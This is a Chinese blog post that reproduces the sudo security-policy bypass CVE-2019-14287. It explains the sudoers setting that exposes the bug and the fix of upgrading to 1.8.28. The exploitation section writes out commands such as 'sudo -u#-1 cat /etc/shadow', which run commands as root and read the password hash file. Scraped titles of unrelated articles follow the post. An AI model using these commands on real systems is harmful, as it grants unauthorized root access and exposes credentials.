2019年10月14日, sudo 官方在发布了 CVE-2019-14287 的漏洞预警。

0x00 简介

sudo 是所有 unix操作系统(BSD, MacOS, GNU/Linux) 基本集成的一个用户权限控制/切换程序。允许管理员控制服务器下用户能够切换的用户权限。

0x01 漏洞概述

该漏洞是一个sudo安全策略绕过问题,可导致恶意用户或程序在目标 Linux 系统上以 root 身份执行任意命令。个人觉得该漏洞比较鸡肋,因为需要特殊的配置才能触发,在默认的Linux中并不会存在该安全问题。

0x02 影响版本

Sudo版本 < 1.8.28

0x03 环境搭建

任何linux机器上执行sudo -V得到的版本 < 1.8.28均可

本人使用的环境为sudo 1.8.16

由于需要特定的配置,所以首先修改配置文件sudoers(文件位置/etc/sudoers)

在 root ALL=(ALL:ALL) ALL 下面添加一行配置:

test    ALL=(ALL,!root) ALL

1.其中的test表示用户名
2.第一个ALL表示允许该用户在任意机器或者终端中使用sudo
3.括号里面的(ALL,!root)表示命令可以被除了root以外的任意用户身份去执行
4.最后一个ALL表示被允许执行

添加的这一行的配置的意思就是:test这个用户可以使用sudo命令,以除了root以外的任意身份去执行命令。

0x04 漏洞利用

1.首先切换到test用户:

su test

2.执行 sudo whoami 失败

3.执行sudo -u#id whoami

这里的id可以去试任何id,我在/etc/group里挑选了test自身的id:1001

执行sudo -u#1001 whoami成功

执行sudo -u#-1 whoami成功

4.尝试高权限操作

执行cat /etc/shadow失败

执行sudo -u#-1 cat /etc/shadow成功

5.解释:

使用 sudo -u#id 指定用户 id 去执行命令,由于可以指定id,所以可以使用-u#-1或者-u#4294967295绕过限制,从而以root身份去执行任意代码:这是因为 sudo 命令本身就已经以用户 ID 为0 运行,因此当 sudo 试图将用户 ID 修改成 -1时,不会发生任何变化。这就导致 sudo 日志条目将该命令报告为以用户 ID 为 4294967295而非 root (或者用户ID为 0)运行命令。

0x05 修复方式

更新至 Sudo 1.8.28 版本

0x06 参考链接

Linux Sudo 被曝漏洞,可导致用户以 root 权限运行命令

CVE-2019-14287:利用sudo提权复现

[提权]sudo提权复现(CVE-2019-14287)的更多相关文章

  1. sudo 提权漏洞(CVE-2019-14287)复现 (10.16 第二十二天)

    sudo是Linux系统命令,让普通账号以root身份去执行某些命令,比,安装软件.查看某些配置文件.关机.重启等操作,如果普通账号需要使用sudo需要修改配置文件/etc/sudoers,将sudo ...

  2. sudo 提权漏洞(CVE-2019-14287)复现

    (该文参考网络他人资料,仅为学习,不许用于非法用途) 一.环境 1.sudo版本小于1.8.28的Linux系统 2.sudo 是Linux系统命令,让普通账号以root身份去执行某些命令,比如:安装 ...

  3. 2019-10-16,sudo提权漏洞(CVE-2019-14287)实现

    sudo是linux系统命令,让普通账号以root身份执行某些命令,比如,安装软件,查看某些配置文件,关机,重启等,如果普通用户需要使用sudo需要修改配置文件,/etc/sudoers,将sudo使 ...

  4. Ubuntu无法sudo提权,报当前用户不在sudoers文件中错误

    Ubuntu安装后默认root不能登陆系统,密码也是随机生成,其他用户使用root权限,可以使用sudo提权,前提是该用户在/etc/sudoers配置列表中. 但是有时用户名从/etc/sudoer ...

  5. ansible使用普通用户免密登陆+sudo提权

    前提:从ansible控制端使用test用户可以免密登陆所有被控制端,并且被控端test用户支持sudo提权 # ansible主机清单 cat /etc/ansible/hosts [online- ...

  6. NO29 用户提权sudo配置文件详解实践--志行为审计

     用户提权sudo配置文件详解实践: 放到visudo里:  验证权限:

  7. EOJ Monthly 2018.8 D. Delivery Service-树上差分(边权/边覆盖)(边权转点权)(模板题)

    D. Delivery Service 单测试点时限: 2.5 秒 内存限制: 512 MB EOJ Delivery Service Company handles a massive amount ...

  8. [学习笔记]最小割之最小点权覆盖&&最大点权独立集

    最小点权覆盖 给出一个二分图,每个点有一个非负点权 要求选出一些点构成一个覆盖,问点权最小是多少 建模: S到左部点,容量为点权 右部点到T,容量为点权 左部点到右部点的边,容量inf 求最小割即可. ...

  9. D. Powerful array 离线+莫队算法 给定n个数,m次查询;每次查询[l,r]的权值; 权值计算方法:区间某个数x的个数cnt,那么贡献为cnt*cnt*x; 所有贡献和即为该区间的值;

    D. Powerful array time limit per test seconds memory limit per test megabytes input standard input o ...

随机推荐

  1. Java 面向对象知识扩展

    四种权限修饰符 java有四种权限修饰符:public > protected > (default) > private   public protected default pr ...

  2. 【转载】 C#使用Math.PI常量来表示圆周率

    在C#中计算圆形面积的时候,我们时常会用到圆周率这个变量,圆周率我们一般定义为十进制decimal类型变量,圆周率的值为3.1415926535等一个近似值,其实在C#的数值计算类Math类中,有专门 ...

  3. 【转载】C#中List集合First和FirstOrDefault方法有何不同

    在C#的List集合中查找一个符合条件的元素,一般我们会用First方法或者FirstOrDefault方法来返回第一个符合条件的对象,First方法和FirstOrDefault的调用都是使用Lam ...

  4. window 命令行强制删除文件、文件夹

    1. 强制删除文件文件夹和文件夹内所有文件 rd/s/q D:\app 2. 强制删除文件,文件名必须加文件后缀名 del/f/s/q D:\app.txt

  5. Spring中抛出异常时,既要要返回错误信息,还要做事务回滚

    情况一:如果没有在程序中手动捕获异常,如下代码事务会回滚 情况二:如果在程序中自已捕获异常未往外抛,如下代码事务不会回滚 如果doDbStuff2()这个操作数据库的方法抛出异常,因为将异常捕获未往外 ...

  6. 191011 python3-format函数

    # 题目:一球从100米高度自由落下,每次落地后反跳回原高度的一半:# 再落下,求它在第10次落地时,共经过多少米?第10次反弹多高?方法一: l = 100.0 s = 100 for i in r ...

  7. java基础(10)---leetcode的String、数组以及集合的一些使用

    整数 一.整数反转_7 /* 12345 变成 54321 */ public class 整数反转_7 { public static void main(String[] args){ int x ...

  8. python处理yml

    #pip install pyyamlimport yaml #yaml文件转成字典 with open('a.yml','rb')as f: res = yaml.load(f,Loader=yam ...

  9. Samba服务安装

    安装Samba服务   1.在可以联网的机器上使用yum工具安装,如果未联网,则挂载系统光盘进行安装. # yum install samba samba-client samba-swat 有依赖关 ...

  10. 0.Pycharm安装

    以windows版本举例: 1.首先去Pycharm官网,或者直接输入网址:http://www.jetbrains.com/pycharm/download/#section=windows,下载P ...